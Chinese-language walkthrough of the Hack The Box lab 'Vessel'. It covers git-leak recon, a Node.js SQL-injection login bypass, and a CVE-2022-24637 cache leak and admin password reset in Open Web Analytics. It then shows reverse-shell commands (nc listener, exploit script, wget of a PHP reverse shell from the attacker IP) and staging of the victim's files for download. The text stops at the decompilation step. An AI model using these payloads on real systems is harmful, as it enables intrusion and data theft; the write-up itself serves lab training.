HTB-Vessel


HTB-Vessel

一、思路概要

  1. 信息收集发现Git信息泄露;
  2. 分析Git信息发现Nodejs-SQL注入;
  3. Nodejs-SQL注入以admin身份登录主站;
  4. 主站源码发现openwebanalytics子域;
  5. Google发现OpenWebAnalytics存在CVE-2022-24637;
  6. CVE-2022-24637以admin身份登录openwebanalytics子域并获取www-data用户shell;
  7. /home/steven发现可疑加密PDF文件和密码生成程序;
  8. Python反编译密码生成程序破解PDF密码获取SSH用户密码;
  9. 登录SSH用户查询拥有suid权限的文件发现CVE-2022-0811;
  10. CVE-2022-0811内核提权获取root用户权限。

二、信息收集

nmap扫端口

┌──(root💀kali)-[~/Desktop]
└─# nmap -sC -sV 10.10.11.178    
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-20 21:58 EDT
Nmap scan report for 10.10.11.178
Host is up (0.78s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 38:c2:97:32:7b:9e:c5:65:b4:4b:4e:a3:30:a5:9a:a5 (RSA)
|   256 33:b3:55:f4:a1:7f:f8:4e:48:da:c5:29:63:13:83:3d (ECDSA)
|_  256 a1:f1:88:1c:3a:39:72:74:e6:30:1f:28:b6:80:25:4e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Vessel
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.56 seconds

开放端口:22(ssh)、80(http)

浏览器访问IP,页面如下

ffuf枚举子目录

┌──(root💀kali)-[~/Desktop]
└─# ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,301 -u http://10.10.11.178/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.178/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,301
________________________________________________

[Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 576ms]
    * FUZZ: dev

[Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 4584ms]
    * FUZZ: css

[Status: 200, Size: 2393, Words: 999, Lines: 52, Duration: 525ms]
    * FUZZ: 404

[Status: 200, Size: 4213, Words: 1929, Lines: 71, Duration: 288ms]
    * FUZZ: login

[Status: 301, Size: 171, Words: 7, Lines: 11, Duration: 884ms]
    * FUZZ: js

[Status: 200, Size: 5830, Words: 3040, Lines: 90, Duration: 2728ms]
    * FUZZ: register

[Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 2683ms]
    * FUZZ: img

[Status: 200, Size: 2335, Words: 991, Lines: 52, Duration: 302ms]
    * FUZZ: 500

[Status: 200, Size: 15030, Words: 5599, Lines: 244, Duration: 301ms]
    * FUZZ: 

[Status: 200, Size: 3637, Words: 1604, Lines: 64, Duration: 374ms]
    * FUZZ: reset

[Status: 200, Size: 2400, Words: 1029, Lines: 53, Duration: 362ms]
    * FUZZ: 401

:: Progress: [26584/26584] :: Job [1/1] :: 293 req/sec :: Duration: [0:01:40] :: Errors: 2 ::

301:/dev/css/js/img

200:/404/login/register/500/reset/401

以上目录,只有/dev最可能存在线索,因为其他几个都是比较常规的功能点。但对/dev目录做枚举,没发现什么东西,就猜一下.git,但/dev/.git做了跳转,会跳转到404,就进一层对/dev/.git/的子目录做枚举

┌──(root💀kali)-[~/Desktop]
└─# ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -t 100 -mc 200,301 -u http://10.10.11.178/dev/.git/FUZZ 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.178/dev/.git/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,301
________________________________________________

[Status: 301, Size: 193, Words: 7, Lines: 11, Duration: 280ms]
    * FUZZ: info

[Status: 200, Size: 2607, Words: 18, Lines: 19, Duration: 4971ms]
    * FUZZ: index

[Status: 301, Size: 193, Words: 7, Lines: 11, Duration: 6035ms]
    * FUZZ: logs

[Status: 301, Size: 199, Words: 7, Lines: 11, Duration: 6166ms]
    * FUZZ: objects

[Status: 301, Size: 195, Words: 7, Lines: 11, Duration: 379ms]
    * FUZZ: hooks

[Status: 200, Size: 139, Words: 13, Lines: 9, Duration: 7085ms]
    * FUZZ: config

[Status: 200, Size: 73, Words: 10, Lines: 2, Duration: 281ms]
    * FUZZ: description

[Status: 301, Size: 201, Words: 7, Lines: 11, Duration: 262ms]
    * FUZZ: branches

[Status: 301, Size: 193, Words: 7, Lines: 11, Duration: 279ms]
    * FUZZ: refs

:: Progress: [63087/63087] :: Job [1/1] :: 322 req/sec :: Duration: [0:02:58] :: Errors: 0 ::

确定存在Git信息泄露

三、Git信息泄露

Git信息泄露参考:https://www.freebuf.com/articles/web/318599.html

git-dumper工具把git相关文件下载到本地(也可以用GitHack),此处下载到./Vessel/git目录下

pip install git-dumper
git-dumper http://10.10.11.178/dev ./Vessel/git

git log看一下git日志,看到邮箱ethan@vessel.htb

┌──(root💀kali)-[~/Desktop]
└─# cd Vessel/git
                                                                                     
┌──(root💀kali)-[~/Desktop/Vessel/git]
└─# git log                                                                           
commit 208167e785aae5b052a4a2f9843d74e733fbd917 (HEAD -> master)
Author: Ethan <ethan@vessel.htb>
Date:   Mon Aug 22 10:11:34 2022 -0400

    Potential security fixes

commit edb18f3e0cd9ee39769ff3951eeb799dd1d8517e
Author: Ethan <ethan@vessel.htb>
Date:   Fri Aug 12 14:19:19 2022 -0400

    Security Fixes

commit f1369cfecb4a3125ec4060f1a725ce4aa6cbecd3
Author: Ethan <ethan@vessel.htb>
Date:   Wed Aug 10 15:16:56 2022 -0400

    Initial commit

tree命令看一下文件目录树(也可用GitKraken或其他审计类工具分析git文件)

┌──(root💀kali)-[~/Desktop]
└─# tree -a Vessel/git/    
Vessel/git/
├── config
│   └── db.js
├── .git
│   ├── COMMIT_EDITMSG
│   ├── config
│   ├── description
│   ├── HEAD
│   ├── hooks
│   │   ├── applypatch-msg.sample
│   │   ├── commit-msg.sample
│   │   ├── post-update.sample
│   │   ├── pre-applypatch.sample
│   │   ├── pre-commit.sample
│   │   ├── prepare-commit-msg.sample
│   │   ├── pre-push.sample
│   │   ├── pre-rebase.sample
│   │   ├── pre-receive.sample
│   │   └── update.sample
│   ├── index
│   ├── info
│   │   └── exclude
│   ├── logs
│   │   ├── HEAD
│   │   └── refs
│   │       └── heads
│   │           └── master
│   ├── objects
│   │   ├── 00
│   │   │   └── 459be15fd7f38a86843ba1ce5cd6eabeb50a59
│   │   ├── 0a
│   │   │   └── ddd8d9ac7f6daf0d44ee78925d07de0a3dee44
│   │   ├── ......
│   │   │   └── ......
│   │   └── fc
│   │       └── 5ce922a9d1073d6c9cc34770c140cc3488f3fa
│   ├── ORIG_HEAD
│   └── refs
│       └── heads
│           └── master
├── index.js
├── public
│   ├── css
│   │   ├── style.css
│   │   └── styles.css
│   ├── img
│   │   ├── bg-masthead.jpg
│   │   ├── error-404-monochrome.svg
│   │   ├── favicon.ico
│   │   ├── portfolio
│   │   │   └── thumbnails
│   │   │       ├── 1.jpg
│   │   │       ├── 2.jpg
│   │   │       ├── 3.jpg
│   │   │       ├── 4.jpg
│   │   │       ├── 5.jpg
│   │   │       ├── 6.jpg
│   │   │       └── images.zip
│   │   └── profile.jpg
│   └── js
│       ├── script.js
│       └── scripts.js
├── routes
│   └── index.js
└── views
    ├── 401.ejs
    ├── 404.ejs
    ├── 500.ejs
    ├── index.ejs
    ├── login.ejs
    ├── register.ejs
    └── reset.ejs

./Vessel/git/config/db.js 看到数据库连接信息

┌──(root💀kali)-[~/Desktop]
└─# cat ./Vessel/git/config/db.js                                                    
var mysql = require('mysql');

var connection = {
        db: {
        host     : 'localhost',
        user     : 'default',
        password : 'daqvACHKvRn84VdVp',
        database : 'vessel'
}};

module.exports = connection;

./Vessel/git/routes/index.js看到登录页面的数据库查询语句

cat ./Vessel/git/routes/index.js
router.post('/api/login', function(req, res) {
        let username = req.body.username;
        let password = req.body.password;
        if (username && password) {
                connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {
                        if (error) throw error;
                        if (results.length > 0) {
                                req.session.loggedin = true;
                                req.session.username = username;
                                req.flash('success', 'Succesfully logged in!');
                                res.redirect('/admin');
                        } else {
                                req.flash('error', 'Wrong credentials! Try Again!');
                                res.redirect('/login');
                        }
                        res.end();
                });
        } else {
                res.redirect('/login');
        }
});

此处的SQL查询语句参数做了占位符处理,相当于是预编译

直接把这条语句复制到google搜索,找到如下文章,是Nodejs的SQL注入

四、Nodejs-SQL注入

参考:https://www.stackhawk.com/blog/node-js-sql-injection-guide-examples-and-prevention/

意思大概是说,当构造传参payload为username=admin&password[password]=1时,由于Nodejs本身的特性,会将password[password]=1解析成一个对象,而不是解析成字符串,从而sql查询语句会变成如下

SELECT * FROM accounts WHERE username = 'admin' AND password = `password` = 1

从而使username为admin,而password逻辑判断恒为1(布尔true),以此达到类似万能密码的效果。

开始操作

点击主页面右上角Login进入登录页面,随便输入用户名密码,同时Burp抓包

修改请求包数据部分为username=admin&password[password]=1

连续点击两次Forward,回到浏览器,可看到以admin身份登录成功

查看页面源代码,发现如下子域名

将子域名写入本地hosts文件

echo "10.10.11.178 openwebanalytics.vessel.htb" >> /etc/hosts

浏览器打开openwebanalytics.vessel.htb

登录框上下都写着Open Web Analytics,那就去google一下Open Web Analytics exploit,看到了这篇文章

From Single/Double Quote Confusion To RCE(CVE-2022-24637):https://devel0pment.de/?p=2494

五、CVE-2022-24637

如图,文章开头介绍了这个CVE的两个漏洞点:

  1. 定义PHP缓存文件头的地方,如果用'<?php\n...',而不是"<?php\n...",会导致\n不会被解析成换行符,那么<?php\n就不是一个有效的PHP文件头,所在的缓存文件就不会被解析成PHP代码,只会被解析成普通文本,从而导致缓存信息泄露。泄露的信息还可被用于重置管理员密码。

  2. PHP文件写入,但需要管理员权限。通过构造POST请求更改日志路径和日志等级,将日志文件设置为PHP文件。通过同时提高日志级别并使用攻击者控制的数据生成事件,可以将 PHP 代码注入到该日志文件中。这导致可以执行任意PHP代码。

自己本地用php -a测试一下

php > echo '<?php\n/*wa0er*/\n?>';
<?php\n/*wa0er*/\n?>

php > echo "<?php\n/*wa0er*/\n?>";
<?php
/*wa0er*/
?>

如上结果可以看出单双引号解析的差异

┌──(root💀kali)-[~/Desktop]
└─# cat test1.php
<?php\necho 9898;\n?>

┌──(root💀kali)-[~/Desktop]
└─# php -f test1.php
<?php\necho 9898;\n?>

┌──(root💀kali)-[~/Desktop]
└─# cat test2.php
<?php
echo 9898;
?>

┌──(root💀kali)-[~/Desktop]
└─# php -f test2.php
9898

如上结果可以看出两种格式在文件中解析效果

漏洞所在源码:

https://github.com/Open-Web-Analytics/Open-Web-Analytics/blob/1.7.3/modules/base/classes/fileCache.php

关键代码如下

...
class owa_fileCache extends owa_cache {
    ...
    var $cache_file_header = '<?php\n/*';
    var $cache_file_footer = '*/\n?>';
    ...
    function putItemToCacheStore($collection, $id) {
            ...   
            $data = $this->cache_file_header.base64_encode(serialize($this->cache[$collection][$id])).$this->cache_file_footer;
            ...     
            $tcf_handle = @fopen($temp_cache_file, 'w');
            ...   
                fputs($tcf_handle, $data); 
                ...

此处用的就是单引号,得到的缓存文件中的缓存数据格式如下

<?php\n/*先序列化然后base64编码的数据*/\n?>

缓存文件名命名如下

...
$cache_file = $collection_dir.$id.'.php';
...
    if (!@ rename($temp_cache_file, $cache_file)) {
        ...

审计发现,默认id值为1,缓存文件拼接后的访问路径为(审计着重关注fileCache.phpcache.phpowa_coreAPI.phpowa_entity.phpuser.php

http://localhost/owa_web/owa-data/caches/1/owa_user/xxx.php
“http://localhost/owa_web/”表示owa主页面所在路径,此处为http://openwebanalytics.vessel.htb/
php文件名“xxx”表示“id+id值”的32位md5值,比如id=1,那么xxx为“id1”的md5值

image-20230325180016845

openwebanalytics.vessel.htb点击忘记密码,进入重置密码页面,刚才在git日志看到邮箱格式,尝试ethan@vessel.htb不存在,尝试admin@vessel.htb

提示发送邮件到admin@vessel.htb

然后根据刚才的分析,id1的md5值如图

缓存文件的访问路径如下

http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/fafe1b60c24107ccd8f4562213e44849.php

浏览器访问缓存文件,页面空白,查看页面源代码,获取到泄露的base64数据

<?php\n/*Tzo4OiJvd2FfdXNlciI6NTp7czo0OiJuYW1lIjtzOjk6ImJhc2UudXNlciI7czoxMDoicHJvcGVydGllcyI7YToxMDp7czoyOiJpZCI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MToiMSI7czo5OiJkYXRhX3R5cGUiO3M6NjoiU0VSSUFMIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjc6InVzZXJfaWQiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjU6ImFkbWluIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjoxO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjg6InBhc3N3b3JkIjtPOjEyOiJvd2FfZGJDb2x1bW4iOjExOntzOjQ6Im5hbWUiO047czo1OiJ2YWx1ZSI7czo2MDoiJDJ5JDEwJDk1MUhISkY0b0RqWmR6MGJTSWcxYnV1R2ZEYUwxVHpvcGt6d2U2SmRBZnZjU0hoLzd3WHNTIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjQ6InJvbGUiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjU6ImFkbWluIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjk6InJlYWxfbmFtZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTM6ImRlZmF1bHQgYWRtaW4iO3M6OToiZGF0YV90eXBlIjtzOjEyOiJWQVJDSEFSKDI1NSkiO3M6MTE6ImZvcmVpZ25fa2V5IjtOO3M6MTQ6ImlzX3ByaW1hcnlfa2V5IjtiOjA7czoxNDoiYXV0b19pbmNyZW1lbnQiO2I6MDtzOjk6ImlzX3VuaXF1ZSI7YjowO3M6MTE6ImlzX25vdF9udWxsIjtiOjA7czo1OiJsYWJlbCI7TjtzOjU6ImluZGV4IjtOO3M6MTM6ImRlZmF1bHRfdmFsdWUiO047fXM6MTM6ImVtYWlsX2FkZHJlc3MiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjE2OiJhZG1pbkB2ZXNzZWwuaHRiIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjEyOiJ0ZW1wX3Bhc3NrZXkiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjMyOiJjNjNmZWQzOGU1OWIyNmU2OGY1YjJjZDc4ZWJkNmJlNSI7czo5OiJkYXRhX3R5cGUiO3M6MTI6IlZBUkNIQVIoMjU1KSI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czoxMzoiY3JlYXRpb25fZGF0ZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTA6IjE2NTAyMTE2NTkiO3M6OToiZGF0YV90eXBlIjtzOjY6IkJJR0lOVCI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czoxNjoibGFzdF91cGRhdGVfZGF0ZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTA6IjE2NTAyMTE2NTkiO3M6OToiZGF0YV90eXBlIjtzOjY6IkJJR0lOVCI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czo3OiJhcGlfa2V5IjtPOjEyOiJvd2FfZGJDb2x1bW4iOjExOntzOjQ6Im5hbWUiO3M6NzoiYXBpX2tleSI7czo1OiJ2YWx1ZSI7czozMjoiYTM5MGNjMDI0N2VjYWRhOWEyYjhkMjMzOGI5Y2E2ZDIiO3M6OToiZGF0YV90eXBlIjtzOjEyOiJWQVJDSEFSKDI1NSkiO3M6MTE6ImZvcmVpZ25fa2V5IjtOO3M6MTQ6ImlzX3ByaW1hcnlfa2V5IjtiOjA7czoxNDoiYXV0b19pbmNyZW1lbnQiO2I6MDtzOjk6ImlzX3VuaXF1ZSI7YjowO3M6MTE6ImlzX25vdF9udWxsIjtiOjA7czo1OiJsYWJlbCI7TjtzOjU6ImluZGV4IjtOO3M6MTM6ImRlZmF1bHRfdmFsdWUiO047fX1zOjE2OiJfdGFibGVQcm9wZXJ0aWVzIjthOjQ6e3M6NToiYWxpYXMiO3M6NDoidXNlciI7czo0OiJuYW1lIjtzOjg6Im93YV91c2VyIjtzOjk6ImNhY2hlYWJsZSI7YjoxO3M6MjM6ImNhY2hlX2V4cGlyYXRpb25fcGVyaW9kIjtpOjYwNDgwMDt9czoxMjoid2FzUGVyc2lzdGVkIjtiOjE7czo1OiJjYWNoZSI7Tjt9*/\n?>

Base64解码得序列化数据

O:8:"owa_user":5:{s:4:"name";s:9:"base.user";s:10:"properties";a:10:{s:2:"id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:1:"1";s:9:"data_type";s:6:"SERIAL";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:1;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:8:"password";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:60:"$2y$10$951HHJF4oDjZdz0bSIg1buuGfDaL1Tzopkzwe6JdAfvcSHh/7wXsS";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:4:"role";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:9:"real_name";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:13:"default admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"email_address";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:16:"admin@vessel.htb";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:12:"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"c63fed38e59b26e68f5b2cd78ebd6be5";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"creation_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:16:"last_update_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"api_key";O:12:"owa_dbColumn":11:{s:4:"name";s:7:"api_key";s:5:"value";s:32:"a390cc0247ecada9a2b8d2338b9ca6d2";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}}s:16:"_tableProperties";a:4:{s:5:"alias";s:4:"user";s:4:"name";s:8:"owa_user";s:9:"cacheable";b:1;s:23:"cache_expiration_period";i:604800;}s:12:"wasPersisted";b:1;s:5:"cache";N;}

关键点在于temp_passkey的值c63fed38e59b26e68f5b2cd78ebd6be5可用来重置admin的密码

那么我们把URL末尾owa_do的值改为base.usersChangePassword,访问

http://openwebanalytics.vessel.htb/index.php?owa_do=base.usersChangePassword

直接修改密码,然后点击Save Your New Password,会提示Error! Can't find your temporary passkey in the db.

一般思路应该是有个名字类似temp_passkey的参数,可以修改为我们刚才获得的temp_passkey值,以此来绕过修改密码时所需的认证步骤。

然后我们就在F12页面源码看到了如下图内容

我们把hidden删除,可看到显示除了如下文本框

输入新密码,然后输入刚才temp_passkey的值,点击Save Your New Password,成功修改(这里试了好几次,可能temp_passkey刷新比较快)

用admin用户和刚修改的密码登录,登录成功

已是admin用户,那就尝试用上面文章漏洞利用的第二阶段,进一步执行命令反弹shell,下载下面的exploit脚本到本地

git clone https://github.com/hupe1980/CVE-2022-24637

先开启nc监听

nc -lvnp 9898

用如下命令执行脚本

python3 exploit.py -u admin -p wa0er http://openwebanalytics.vessel.htb/ 10.10.16.7 9898

如图成功获取www-data用户shell,但这个shell环境不稳定,换一个交互shell

下载如下脚本到本地

wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz

修改ip和port为本地ip和端口

本地开启http服务

python3 -m http.server 80

在靶机www-data用户的shell环境,从本地下载php-reverse-shell.php到/var/www/html/owa/owa-data/logs目录下

wget http://10.10.16.7/php-reverse-shell.php

再次本地开启nc监听9898端口,然后本地运行如下命令触发反弹shell文件

curl http://openwebanalytics.vessel.htb/owa-data/logs/php-reverse-shell.php

home目录下有两个用户,ethan和steven,进入/home/ethan目录没权限,于是进/home/steven目录

/home/steven目录下有一个passwordGenerator文件,在/home/steven/.notes有两个可疑文件:notes.pdfscreenshot.png

把文件都复制到/var/www/html/owa/owa-data/logs/目录下,便于访问下载

cp notes.pdf /var/www/html/owa/owa-data/logs/
cp screenshot.png /var/www/html/owa/owa-data/logs/
cp passwordGenerator /var/www/html/owa/owa-data/logs/

回到本地,将三个文件下载下来

wget http://openwebanalytics.vessel.htb/owa-data/logs/notes.pdf
wget http://openwebanalytics.vessel.htb/owa-data/logs/screenshot.png
wget http://openwebanalytics.vessel.htb/owa-data/logs/passwordGenerator

notes.pdf打开需要密码,screenshot.png如下,密码长度32位,这应该是passwordGenerator的运行界面

执行如下命令,看到passwordGenerator是Windows下的可执行文件,PE32表示Portable Executable 32-bit

┌──(root💀kali)-[~/Desktop]
└─# file passwordGenerator
passwordGenerator: PE32 executable (console) Intel 80386, for MS Windows

passwordGenerator拖到Windows机器中,后缀加上.exe,双击运行,如下左侧可选择password长度,右侧有三个选项ALL CharactersAlphabetic(字母)、Alphanumeric(字母数字),前面拿到的截图是第一个选项

点击Generate!,弹窗提示生成passwords前要更改默认values,看来是生成不了,得曲线救国,破解它

六、Python反编译

在Windows用WinHex(其他16进制文本编辑器均可)打开这个可执行程序,在末尾可以发现pyinstaller编译的标志MEI

python反编译参考:https://blog.51cto.com/u_15060540/3888913

下载pyinstxtractor脚本

git clone https://github.com/extremecoders-re/pyinstxtractor

passwordGenerator放到下好的脚本同目录下,运行如下命令

┌──(root💀kali)-[~/Desktop/pyinstxtractor]
└─# python3 pyinstxtractor.py passwordGenerator 
[+] Processing passwordGenerator
[+] Pyinstaller version: 2.1+
[+] Python version: 3.7
[+] Length of package: 34300131 bytes
[+] Found 95 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pyside2.pyc
[+] Possible entry point: passwordGenerator.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.7 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: passwordGenerator

You can now use a python decompiler on the pyc files within the extracted directory

会在当前文件夹自动生成名叫passwordGenerator_extracted的目录

uncompyle6反编译目标.pyc文件

pip install uncompyle6
uncompyle6 passwordGenerator.pyc

